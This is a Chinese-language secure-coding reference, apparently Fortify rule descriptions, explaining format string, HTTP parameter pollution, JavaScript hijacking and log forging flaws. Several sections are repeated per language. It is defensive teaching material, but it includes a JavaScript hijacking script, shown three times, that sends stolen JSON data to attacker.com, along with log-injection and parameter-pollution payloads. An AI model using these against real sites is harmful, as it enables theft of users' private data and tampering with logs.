Format string 漏洞会在以下情况下发生：

1. 数据从不可信赖的数据源进入应用程序。



2. 数据作为 format string 参数传送到某个函数，如 sprintf()、FormatMessageW()、syslog()、NSLog 或 NSString.stringWithFormat示例 1：下面的代码将命令行参数作为 NSString.stringWithFormat: 中的 format string。

int main(int argc, char **argv){
	char buf[128];
	...
	[NSString stringWithFormat:argv[1], argv[2] ];
}

该代码允许攻击者查看堆栈的内容，并使用包含一连串的格式化指令的命令行参数损坏堆栈。攻击者能够通过提供更多的格式化指令（如 %x）来读取堆栈中的内容，然后函数会作为即将格式化的参数使用。（在本例中，函数没有采用任何即将格式化的参数。）

Objective-C 支持旧版 C 语言的标准库，因此如果您的应用程序使用 C API，则可以使用以下示例。

示例 2：有些实现方式通过提供格式化指令来控制内存中的读写位置，这样可以简化较高级的攻击。以下代码就是这种指令的一个例子，它为 glibc 而写：

	printf("%d %d %1$d %1$d\n", 5, 9);

该代码产生了如下输出：

5 9 5 5

此外，还可以使用 half-writes (%hn) 来准确地控制内存中的任意 DWORDS，这会大大地降低执行攻击的难度，否则此攻击将需要进行四次交错写入，如Example 1 中所述。

示例 3：简单的 format string 漏洞通常由表面上看似没有什么危险的快捷方式所导致。某些快捷方式的使用已经深入人心，以致于程序员可能都不会意识到他们所使用的函数需要一个 format string 参数。

例如，syslog() 函数有时候可以这样使用：

	...
	syslog(LOG_ERR, cmdBuf);
	...

由于 syslog() 的第二个参数是格式字符串，因此 cmdBuf 中的任何格式化指令都会按照Example 1 中所述进行解释。

以下代码显示了 syslog() 的正确使用方式：

	...
	syslog(LOG_ERR, "%s", cmdBuf);
	...

示例 4：Apple 核心类提供了利用 format string 漏洞的有趣途径。

例如，String.stringByAppendingFormat() 函数有时候可以这样使用：

	...
	NSString test = @"Sample Text.";
	test = [test stringByAppendingFormat:[MyClass
	formatInput:inputControl.text]];
	...

stringByAppendingFormat 会解析传递给它的 NSString 中包含的任意 format string 字符。

以下代码显示了 stringByAppendingFormat() 的正确使用方式：

	...
	NSString test = @"Sample Text.";
	test = [test stringByAppendingFormat:@"%@", [MyClass
	formatInput:inputControl.text]];
	...

HTTP Parameter Pollution (HPP) 攻击包含将编码的查询字符串分隔符注入其他现有的参数中。如果 Web 应用程序没有正确地检查用户输入，恶意用户可能会破坏应用程序的逻辑，进行客户端侧或服务器侧攻击。如果再向 Web 应用程序提交参数，并且如果这些参数与现有参数的名称相同，则 Web 应用程序可能会有下列一种反应：

它可能只从第一个参数中提取数据
它可能从最后一个参数中提取数据
它可能从所有参数中提取数据并把它们连接起来


例如：
- ASP.NET/IIS 使用所有情况下出现的参数
- Apache Tomcat 仅使用第一次出现的参数并忽略其他参数
- mod_perl/Apache 将值转换为值数组

示例 1：根据应用程序服务器和应用程序自身的逻辑，下列请求可能造成与身份验证系统的混淆，使攻击者能模拟别的用户。
http://www.server.com/login.aspx?name=alice&name=hacker

示例 2：下列代码使用来自于 HTTP 请求的输入来呈现两个超链接。

    ...
    String lang = Request.Form["lang"];
    WebClient client = new WebClient();
    client.BaseAddress = url;
    NameValueCollection myQueryStringCollection = new NameValueCollection();
    myQueryStringCollection.Add("q", lang);
    client.QueryString = myQueryStringCollection;
    Stream data = client.OpenRead(url);
    ...

URL: http://www.host.com/election.aspx?poll_id=4567
链接 1：<a href="http://www.host.com/vote.aspx?poll_id=4567&lang=en">英语<a>
链接 2：<a href="http://www.host.com/vote.aspx?poll_id=4567&lang=es">西班牙语<a>

程序员尚未考虑下面这种可能性：攻击者可能会提供一个 lang（例如 en&poll_id=1），然后攻击者可以随意更改该 poll_id。

HTTP Parameter Pollution (HPP) 攻击包含将编码的查询字符串分隔符注入其他现有的参数中。如果 Web 应用程序没有正确地检查用户输入，恶意用户可能会破坏应用程序的逻辑，进行客户端侧或服务器侧攻击。如果再向 Web 应用程序提交参数，并且如果这些参数与现有参数的名称相同，则 Web 应用程序可能会有下列一种反应：

它可能只从第一个参数中提取数据
它可能从最后一个参数中提取数据
它可能从所有参数中提取数据并把它们连接起来


例如：
- ASP.NET/IIS 使用所有情况下出现的参数
- Apache Tomcat 仅使用第一次出现的参数并忽略其他参数
- mod_perl/Apache 将值转换为值数组

例 1：根据应用程序服务器和应用程序自身的逻辑，下列请求可能造成与身份验证系统的混淆，使攻击者能模拟别的用户。
http://www.server.com/login.php?name=alice&name=hacker

例 2：下列代码使用来自于 HTTP 请求的输入来呈现两个超链接。

    <%
        ...
        $id = $_GET["id"];
        header("Location: http://www.host.com/election.php?poll_id=" . $id);
        ...
    %>

URL： http://www.host.com/election.php?poll_id=4567
链接 1： <a href="vote.php?poll_id=4567&candidate=white">White 先生的投票<a>
链接 2： <a href="vote.php?poll_id=4567&candidate=green">Green 女士的投票<a>

程序员没有考虑到攻击者可能提供 poll_id（例如“4567&candidate=green”）的可能性，届时得到的页面中将包含以下注入链接，因此，Green 女士将始终投票选择捡出第一个参数的应用程序服务器。
<a href="vote.php?poll_id=4567&candidate=green&candidate=white">White 先生的投票<a>
<a href="vote.php?poll_id=4567&candidate=green&candidate=green">Green 女士的投票<a>

HTTP Parameter Pollution (HPP) 攻击包含将编码的查询字符串分隔符注入其他现有的参数中。如果 Web 应用程序没有正确地检查用户输入，恶意用户可能会破坏应用程序的逻辑，进行客户端侧或服务器侧攻击。如果再向 Web 应用程序提交参数，并且如果这些参数与现有参数的名称相同，则 Web 应用程序可能会有下列一种反应：

它可能只从第一个参数中提取数据。
它可能从最后一个参数中提取数据。
它可能从所有参数中提取数据并把它们连接起来。


例如：
- ASP.NET/IIS 使用所有情况下出现的参数
- Apache Tomcat 仅使用第一次出现的参数并忽略其他参数
- mod_perl/Apache 将值转换为值数组

例 1：根据应用程序服务器和应用程序自身的逻辑，下列请求可能造成与身份验证系统的混淆，使攻击者能模拟别的用户。
http://www.server.com/login.php?name=alice&name=hacker

因为这表明，攻击者已经指定了 name=alice，但他们添加了额外的 name=alice&，如果在提取第一个匹配项的服务器上使用它，那么它可能会模仿 alice 以便获取有关她的帐户的详细信息。

键盘扩展可以读取用户输入的每一个按键。第三方键盘通常用于简化文本输入或添加额外的表情符号，他们可以记录用户输入的内容，甚至将其发送到远程服务器进行处理。恶意键盘还可以作为键盘记录器来分发，以读取用户输入的每一个键，从而窃取凭据或信用卡号等敏感数据。

如果发生以下情况，应用程序可能会很容易受到 JavaScript 劫持的攻击：1) 将 JavaScript 对象用作数据传输格式 2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现，所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码，引起人们对潜在的 JavaScript 劫持漏洞的注意。

Web 浏览器强制执行同源策略，以防止用户受到恶意网站的侵害。同源策略要求，为确保使用 JavaScript 访问 Web 页面内容，JavaScript 和 Web 页面必须来自同一个域。如果不实施同源策略，恶意网站可能就会使用客户端凭据运行从其他网站加载敏感信息的 JavaScript，并对这些信息进行提炼，然后将其返回给攻击者。JavaScript Hijacking 允许攻击者在 Web 应用程序使用 JavaScript 传递机密信息的情况下绕过同源策略。同源策略的漏洞在于，允许将来自任何网站的 JavaScript 纳入任何其他网站的上下文并予以执行。即使恶意站点无法直接检查从易受攻击的客户端站点加载的任何数据，但仍然可以通过设置环境来利用此漏洞，使其能够见证 JavaScript 的执行过程及其可能产生的任何相关副作用。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制，因此通常容易受到攻击，而传统 Web 应用程序则不然。

JavaScript 中最常见的信息传输格式为 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 类实例文本化定义语法 (object literal syntax)的子集。JSON 基于两种数据结构类型：阵列和对象。所有可以作为一个或多个有效 JavaScript 语句进行解析的数据传送格式都容易受到 JavaScript 劫持的攻击。JSON 使 JavaScript 劫持变得更加容易，因为 JSON 数组坚持认为它自己就是有效的 JavaScript 指令。因为数组是交换列表的一种正常形式，在应用程序需要交换多个值时会普遍使用该形式。换句话说，一个 JSON 数组会直接受到 JavaScript 劫持的攻击。一个 JSON 对象只在其被一些其他 JavaScript 结构包围时才会受到攻击，这些 JavaScript 结构坚持认为它们自己就是有效的 JavaScript 指令。

示例 1：在以下示例中，开头显示了一个在 Web 应用程序的客户端和服务器组件之间进行的合法 JSON 交互，这一 Web 应用程序用于管理潜在商机。接下来，它说明了攻击者如何模仿客户端获取服务器端返回的机密信息。注意，本例子是专为基于 Mozilla 的浏览器而编写的代码。若在创建对象时，没有使用 new 运算符，则其他主流浏览器会禁止重载默认构造函数。

客户端向服务器请求数据，并通过以下代码评估 JSON 结果：

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);

当此代码运行时，它会生成一个如下所示的 HTTP 请求：

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

（在本 HTTP 响应和随后的响应中，我们省略了与该解释没有直接关系的 HTTP 头信息。）
服务器使用 JSON 格式的数组进行响应：

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]

这种情况下，JSON 中包含了与当前用户相关的机密信息（一组潜在商机数据）。其他用户如果不知道该用户的会话标识符，便无法访问这些信息。（在大多数现代 Web 应用程序中，会话标识符存储在 cookie 中。）然而，如果受害者访问某个恶意网站，恶意网站就可以使用 JavaScript 劫持提取信息。如果受害者受到欺骗后，访问包含以下恶意代码的网页，受害者的重要信息就会被发送到攻击者的网站中。

<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>

恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之，处理此请求时将认为其源自合法应用程序。

当 JSON 阵列到达客户端时，将在恶意页面的上下文中对其进行评估。为了看清 JSON 的评估，恶意页面重新定义了用于创建新对象的 JavaScript 功能。通过此方法，恶意代码已插入一个钩子，该钩子允许其访问每个对象的创建并将对象的内容传递回恶意网站。与之相反，其他攻击可能会覆盖阵列默认的构造函数。为在混合应用中使用而建的应用程序有时会在每一 JavaScript 消息的末端调用回调功能。回调功能意味着将由混合应用中的其他应用程序定义。回调功能使 JavaScript 挟持攻击变得容易 -- 攻击者要做的就是定义该功能。应用程序可以是混合应用 - 友好型或安全型，但不可能两者兼备。如果用户未登录到易受攻击的网站，攻击者可以要求用户登录，然后显示该应用程序的合法登录页面。

这不是钓鱼攻击 -- 攻击者未获得用户凭证的访问权限 -- 因此反钓鱼对策将无法打败攻击。更复杂的攻击可能会通过使用 JavaScript 动态生成脚本标签，向应用程序作出一系列请求。此相同技术有时会用于创建应用程序混合应用。唯一的不同是，在此混合应用情况中，涉及的应用程序之一是恶意的。

通过设计 JSONP 可允许执行跨域请求，但是它缺乏限制和验证请求来源的机制。 恶意站点可以轻松地以用户的名义执行 JSONP 请求并处理 JSON 响应。 因此，强烈建议在发送 PII 或敏感数据时避免使用此通信技术。

Microsoft AJAX.NET (Atlas) 使用 JSON 在服务器和客户端之间传送数据。该框架生成的响应由可以使用 <script> 标签求值的有效 JavaScript 组成，因此很容易受到 JavaScript 劫持的攻击 [1]。默认情况下，这个框架使用 POST 方法提交请求，这样就很难从恶意 <script> 标签生成请求（因为 <script> 标签仅生成 GET 请求）。尽管如此，Microsoft AJAX.NET 确实提供了使用 GET 请求的机制。事实上，许多专家建议程序员使用 GET 请求，以减少浏览器缓存和改善性能。

如果发生以下情况，应用程序可能会很容易受到 JavaScript 劫持的攻击：1) 将 JavaScript 对象用作数据传输格式 2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现，所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码，引起人们对潜在的 JavaScript 劫持漏洞的注意。

Web 浏览器执行同源策略 (Same Origin Policy)，以保护用户免受恶意网站的攻击。同源策略 (Same Origin Policy) 规定：如果要使用 JavaScript 来访问某个网页的内容的话，则 JavaScript 和网页必须都来源于相同的域。若不采取同源策略 (Same Origin Policy)，恶意网站便可以使用客户端凭证来运行 JavaScript，从其他网站加载的敏感信息，并对这些信息进行提炼，然后将其返回给攻击者。通过 JavaScript 劫持，攻击者可以绕过 Web 应用程序中使用的同源策略 (Same Origin Policy)，该应用程序使用 JavaScript 来交流机密信息。同源策略 (Same Origin Policy) 中的漏洞是：通过这一策略，任何网站的 JavaScript 都可以被其他网站的上下文包含或执行。即使恶意网站不能直接在客户端上检查易受攻击的站点中加载的所有数据，但它仍可以通过配置一个特定的环境利用该漏洞。有了这样的环境，恶意网站就可以监视 JavaScript 的执行过程和任何可能发生的相关负面效应。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制，因此，与传统的 Web 应用程序不同，它们往往很容易受到各种攻击。

JavaScript 中最常见的信息传输格式为 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 类实例文本化定义语法 (object literal syntax)的子集。JSON 基于两种数据结构类型：阵列和对象。所有可以作为一个或多个有效 JavaScript 语句进行解析的数据传送格式都容易受到 JavaScript 劫持的攻击。JSON 使 JavaScript 劫持变得更加容易，因为 JSON 数组坚持认为它自己就是有效的 JavaScript 指令。因为数组是交换列表的一种正常形式，在应用程序需要交换多个值时会普遍使用该形式。换句话说，一个 JSON 数组会直接受到 JavaScript 劫持的攻击。一个 JSON 对象只在其被一些其他 JavaScript 结构包围时才会受到攻击，这些 JavaScript 结构坚持认为它们自己就是有效的 JavaScript 指令。

示例 1：在以下示例中，开头显示了一个在 Web 应用程序的客户端和服务器组件之间进行的合法 JSON 交互，这一 Web 应用程序用于管理潜在商机。接下来，它说明了攻击者如何模仿客户端获取服务器端返回的机密信息。注意，本例子是专为基于 Mozilla 的浏览器而编写的代码。若在创建对象时，没有使用 new 运算符，则其他主流浏览器会禁止重载默认构造函数。

客户端向服务器请求数据，并通过以下代码评估 JSON 结果：

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);

当此代码运行时，它会生成一个如下所示的 HTTP 请求：

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

（在本 HTTP 响应和随后的响应中，我们省略了与该解释没有直接关系的 HTTP 头信息。）
服务器使用 JSON 格式的数组进行响应：

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]

这种情况下，JSON 中包含了与当前用户相关的机密信息（一组潜在商机数据）。其他用户如果不知道该用户的会话标识符，便无法访问这些信息。（在大多数现代 Web 应用程序中，会话标识符存储在 cookie 中。）然而，如果受害者访问某个恶意网站，恶意网站就可以使用 JavaScript 劫持提取信息。如果受害者受到欺骗后，访问包含以下恶意代码的网页，受害者的重要信息就会被发送到攻击者的网站中。

<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>

恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之，处理此请求时将认为其源自合法应用程序。

当 JSON 阵列到达客户端时，将在恶意页面的上下文中对其进行评估。为了看清 JSON 的评估，恶意页面重新定义了用于创建新对象的 JavaScript 功能。通过此方法，恶意代码已插入一个钩子，该钩子允许其访问每个对象的创建并将对象的内容传递回恶意网站。与之相反，其他攻击可能会覆盖阵列默认的构造函数。为在混合应用中使用而建的应用程序有时会在每一 JavaScript 消息的末端调用回调功能。回调功能意味着将由混合应用中的其他应用程序定义。回调功能使 JavaScript 挟持攻击变得容易 -- 攻击者要做的就是定义该功能。应用程序可以是混合应用 - 友好型或安全型，但不可能两者兼备。如果用户未登录到易受攻击的网站，攻击者可以要求用户登录，然后显示该应用程序的合法登录页面。

这不是钓鱼攻击 -- 攻击者未获得用户凭证的访问权限 -- 因此反钓鱼对策将无法打败攻击。更复杂的攻击可能会通过使用 JavaScript 动态生成脚本标签，向应用程序作出一系列请求。此相同技术有时会用于创建应用程序混合应用。唯一的不同是，在此混合应用情况中，涉及的应用程序之一是恶意的。

如果发生以下情况，应用程序可能会很容易受到 JavaScript 劫持的攻击：1) 将 JavaScript 对象用作数据传输格式 2) 处理机密数据。由于 JavaScript 劫持漏洞不会作为编码错误的直接结果出现，所以 Fortify 安全编码规则包会通过识别在 HTTP 响应中产生的 JavaScript 代码，引起人们对潜在的 JavaScript 劫持漏洞的注意。

Web 浏览器强制执行同源策略，以防止用户受到恶意网站的侵害。同源策略要求，为确保使用 JavaScript 访问 Web 页面内容，JavaScript 和 Web 页面必须来自同一个域。如果不实施同源策略，恶意网站可能就会使用客户端凭据运行从其他网站加载敏感信息的 JavaScript，并对这些信息进行提炼，然后将其返回给攻击者。JavaScript Hijacking 允许攻击者在 Web 应用程序使用 JavaScript 传递机密信息的情况下绕过同源策略。同源策略的漏洞在于，允许将来自任何网站的 JavaScript 纳入任何其他网站的上下文并予以执行。即使恶意站点无法直接检查从易受攻击的客户端站点加载的任何数据，但仍然可以通过设置环境来利用此漏洞，使其能够见证 JavaScript 的执行过程及其可能产生的任何相关副作用。由于许多 Web 2.0 应用程序使用 JavaScript 作为数据传输机制，因此通常容易受到攻击，而传统 Web 应用程序则不然。

JavaScript 中最常见的信息传输格式为 JavaScript Object Notation (JSON)。JSON RFC 将 JSON 语法定义为 JavaScript 类实例文本化定义语法 (object literal syntax)的子集。JSON 基于两种数据结构类型：阵列和对象。所有可以作为一个或多个有效 JavaScript 语句进行解析的数据传送格式都容易受到 JavaScript 劫持的攻击。JSON 使 JavaScript 劫持变得更加容易，因为 JSON 数组坚持认为它自己就是有效的 JavaScript 指令。因为数组是交换列表的一种正常形式，在应用程序需要交换多个值时会普遍使用该形式。换句话说，一个 JSON 数组会直接受到 JavaScript 劫持的攻击。一个 JSON 对象只在其被一些其他 JavaScript 结构包围时才会受到攻击，这些 JavaScript 结构坚持认为它们自己就是有效的 JavaScript 指令。

示例 1：在以下示例中，开头显示了一个在 Web 应用程序的客户端和服务器组件之间进行的合法 JSON 交互，这一 Web 应用程序用于管理潜在商机。接下来，它说明了攻击者如何模仿客户端获取服务器端返回的机密信息。注意，本例子是专为基于 Mozilla 的浏览器而编写的代码。若在创建对象时，没有使用 new 运算符，则其他主流浏览器会禁止重载默认构造函数。

客户端向服务器请求数据，并通过以下代码评估 JSON 结果：

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);

当此代码运行时，它会生成一个如下所示的 HTTP 请求：

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

（在本 HTTP 响应和随后的响应中，我们省略了与该解释没有直接关系的 HTTP 头信息。）
服务器使用 JSON 格式的数组进行响应：

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]

这种情况下，JSON 中包含了与当前用户相关的机密信息（一组潜在商机数据）。其他用户如果不知道该用户的会话标识符，便无法访问这些信息。（在大多数现代 Web 应用程序中，会话标识符存储在 cookie 中。）然而，如果受害者访问某个恶意网站，恶意网站就可以使用 JavaScript 劫持提取信息。如果受害者受到欺骗后，访问包含以下恶意代码的网页，受害者的重要信息就会被发送到攻击者的网站中。

<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>

恶意代码使用脚本标签以在当前页面包含 JSON 对象。Web 浏览器将使用该请求发送相应的会话 cookie。换言之，处理此请求时将认为其源自合法应用程序。

当 JSON 阵列到达客户端时，将在恶意页面的上下文中对其进行评估。为了看清 JSON 的评估，恶意页面重新定义了用于创建新对象的 JavaScript 功能。通过此方法，恶意代码已插入一个钩子，该钩子允许其访问每个对象的创建并将对象的内容传递回恶意网站。与之相反，其他攻击可能会覆盖阵列默认的构造函数。为在混合应用中使用而建的应用程序有时会在每一 JavaScript 消息的末端调用回调功能。回调功能意味着将由混合应用中的其他应用程序定义。回调功能使 JavaScript 挟持攻击变得容易 -- 攻击者要做的就是定义该功能。应用程序可以是混合应用 - 友好型或安全型，但不可能两者兼备。如果用户未登录到易受攻击的网站，攻击者可以要求用户登录，然后显示该应用程序的合法登录页面。

这不是钓鱼攻击 -- 攻击者未获得用户凭证的访问权限 -- 因此反钓鱼对策将无法打败攻击。更复杂的攻击可能会通过使用 JavaScript 动态生成脚本标签，向应用程序作出一系列请求。此相同技术有时会用于创建应用程序混合应用。唯一的不同是，在此混合应用情况中，涉及的应用程序之一是恶意的。

在以下情况下会发生 Log Forging 的漏洞：

1. 数据从一个不可信赖的数据源进入应用程序。

2. 数据写入到应用程序或系统日志文件中。

为了便于以后的审阅、统计数据收集或调试，应用程序通常使用日志文件来储存事件或事务的历史记录。根据应用程序自身的特性，审阅日志文件可在必要时手动执行，也可以自动执行，即利用工具自动挑选日志中的重要事件或带有某种倾向性的信息。

如果攻击者可以向随后会被逐字记录到日志文件的应用程序提供数据，则可能会妨碍或误导日志文件的解读。最理想的情况是，攻击者可能通过向应用程序提供包括适当字符的输入，在日志文件中插入错误的条目。如果日志文件是自动处理的，那么攻击者就可以通过破坏文件格式或注入意外的字符，从而使文件无法使用。更阴险的攻击可能会导致日志文件中的统计信息发生偏差。通过伪造或其他方式，受到破坏的日志文件可用于掩护攻击者的跟踪轨迹，甚至还可以牵连第三方来执行恶意行为 [1]。最糟糕的情况是，攻击者可能向日志文件注入代码或者其他命令，利用日志处理实用程序中的漏洞 [2]。

示例：下列 Web 应用程序代码会尝试从一个请求对象中读取值。并记录该值。

...
DATA log_msg TYPE bal_s_msg.

val = request->get_form_field( 'val' ).

log_msg-msgid = 'XY'.
log_msg-msgty = 'E'.
log_msg-msgno = '123'.
log_msg-msgv1 = 'VAL: '.
log_msg-msgv2 = val.

CALL FUNCTION 'BAL_LOG_MSG_ADD'
  EXPORTING
    I_S_MSG          = log_msg
  EXCEPTIONS
    LOG_NOT_FOUND    = 1
    MSG_INCONSISTENT = 2
    LOG_IS_FULL      = 3
    OTHERS           = 4.
...

如果用户为“val”提交字符串“FOO”，则日志中会记录以下条目：

XY E 123 VAL: FOO

然而，如果攻击者提交字符串“FOO XY E 124 VAL: BAR”，则日志中会记录以下条目：

XY E 123 VAL: FOO XY E 124 VAL: BAR

显然，攻击者可以使用同样的机制插入任意日志条目。

在以下情况下会发生 Log Forging 的漏洞：

1. 数据从一个不可信赖的数据源进入应用程序。

2. 数据写入到应用程序或系统日志文件中。

为了便于以后的审阅、统计数据收集或调试，应用程序通常使用日志文件来储存事件或事务的历史记录。根据应用程序自身的特性，审阅日志文件可在必要时手动执行，也可以自动执行，即利用工具自动挑选日志中的重要事件或带有某种倾向性的信息。

如果攻击者可以向随后会被逐字记录到日志文件的应用程序提供数据，则可能会妨碍或误导日志文件的解读。最理想的情况是，攻击者可能通过向应用程序提供包括适当字符的输入，在日志文件中插入错误的条目。如果日志文件是自动处理的，那么攻击者就可以通过破坏文件格式或注入意外的字符，从而使文件无法使用。更阴险的攻击可能会导致日志文件中的统计信息发生偏差。通过伪造或其他方式，受到破坏的日志文件可用于掩护攻击者的跟踪轨迹，甚至还可以牵连第三方来执行恶意行为 [1]。最糟糕的情况是，攻击者可能向日志文件注入代码或者其他命令，利用日志处理实用程序中的漏洞 [2]。

示例： 下列 Web 应用程序代码会尝试从一个请求对象中读取整数值。如果数值未被解析为整数，输入就会被记录到日志中，附带一条提示相关情况的错误消息。

var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var val:String = String(params["username"]);
var value:Number = parseInt(val);
if (value == Number.NaN) {
  trace("Failed to parse val = " + val);
}

如果用户为 "val" 提交字符串 "twenty-one"，则日志中会记录以下条目：

Failed to parse val=twenty-one

然而，如果攻击者提交字符串 "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy"，则日志中会记录以下条目：

Failed to parse val=twenty-one

User logged out=badguy

显然，攻击者可以使用同样的机制插入任意日志条目。

在以下情况下会发生 Log Forging 的漏洞：

1. 数据从一个不可信赖的数据源进入应用程序。

2. 数据被写入应用程序或系统日志文件。

为了便于以后的审阅、统计数据收集或调试，应用程序通常使用日志文件来储存事件或事务的历史记录。根据应用程序自身的特性，审阅日志文件可在必要时手动执行，也可以自动执行，即利用工具自动挑选日志中的重要事件或带有某种倾向性的信息。

如果攻击者可以向随后会被逐字记录到日志文件的应用程序提供数据，则可能会妨碍或误导日志文件的解读。最理想的情况是，攻击者可能通过向应用程序提供包括适当字符的输入，在日志文件中插入错误的条目。如果日志文件是自动处理的，那么攻击者就可以通过破坏文件格式或注入意外的字符，从而使文件无法使用。更阴险的攻击可能会导致日志文件中的统计信息发生偏差。通过伪造或其他方式，受到破坏的日志文件可用于掩护攻击者的跟踪轨迹，甚至还可以牵连第三方来执行恶意行为 [1]。最糟糕的情况是，攻击者可能向日志文件注入代码或者其他命令，利用日志处理实用程序中的漏洞 [2]。

示例：下列 Web 应用程序代码会尝试从一个请求对象中读取整数值。如果数值未被解析为整数，输入就会被记录到日志中，附带一条提示相关情况的错误消息。

...
string val = (string)Session["val"];
try {
int value = Int32.Parse(val);
}
catch (FormatException fe) {
log.Info("Failed to parse val= " + val);
}
...

如果用户为“val”提交字符串“twenty-one”，则日志中会记录以下条目：

INFO: Failed to parse val=twenty-one

然而，如果攻击者提交字符串“twenty-one%0a%0aINFO:+User+logged+out%3dbadguy”，则日志中会记录以下条目：

INFO: Failed to parse val=twenty-one

INFO: User logged out=badguy

显然，攻击者可以使用同样的机制插入任意日志条目。

在以下情况下会发生 Log Forging 的漏洞：

1. 数据从一个不可信赖的数据源进入应用程序。

2. 数据写入一个应用程序或系统日志文件。

为了便于以后的审阅、统计数据收集或调试，应用程序通常使用日志文件来储存事件或事务的历史记录。根据应用程序自身的特性，审阅日志文件可在必要时手动执行，或者通过工具自动执行，以获取重要的数据点以及数据趋势。

如果攻击者能给应用程序提供随后被逐字记录到日志文件的数据，可能会妨碍日志文件的检查，甚至基于日志数据的总结都可能是错误的。通过将日志条目分隔符所使用的字符包括到他们的数据中，攻击者可能会在日志文件中插入错误的条目信息。如果日志文件是自动处理的，那么攻击者就可以通过破坏文件格式或注入意外的字符，从而使文件无法使用。更阴险的攻击可能会导致日志文件中的统计信息发生偏差。通过伪造或其他方式，受到破坏的日志文件可用于掩护攻击者的跟踪轨迹，甚至还可以牵连第三方来执行恶意行为 [1]。在最糟糕是，攻击者可以在日志文件中注入代码或者其他的命令，充分利用日志处理实用程序 [2] 中的种种漏洞。

示例：以下代码从一个 CGI 脚本中接受一个由用户提交的字符串，并试图将其转换为它所代表的长整数值。如果这个数值没能被解析成整数，那么数值会随同错误消息一起存入日志，提示发生的情况。

long value = strtol(val, &endPtr, 10);
if (*endPtr != '\0')
	syslog(LOG_INFO,"Illegal value = %s",val);
...

如果用户为 "val" 提交字符串 "twenty-one"，则日志中会记录以下条目：

Illegal value=twenty-one

然而，如果攻击者提交字符串 "twenty-one\n\nINFO: User logged out=evil"，则日志中会记录以下条目：

	INFO: Illegal value=twenty-one

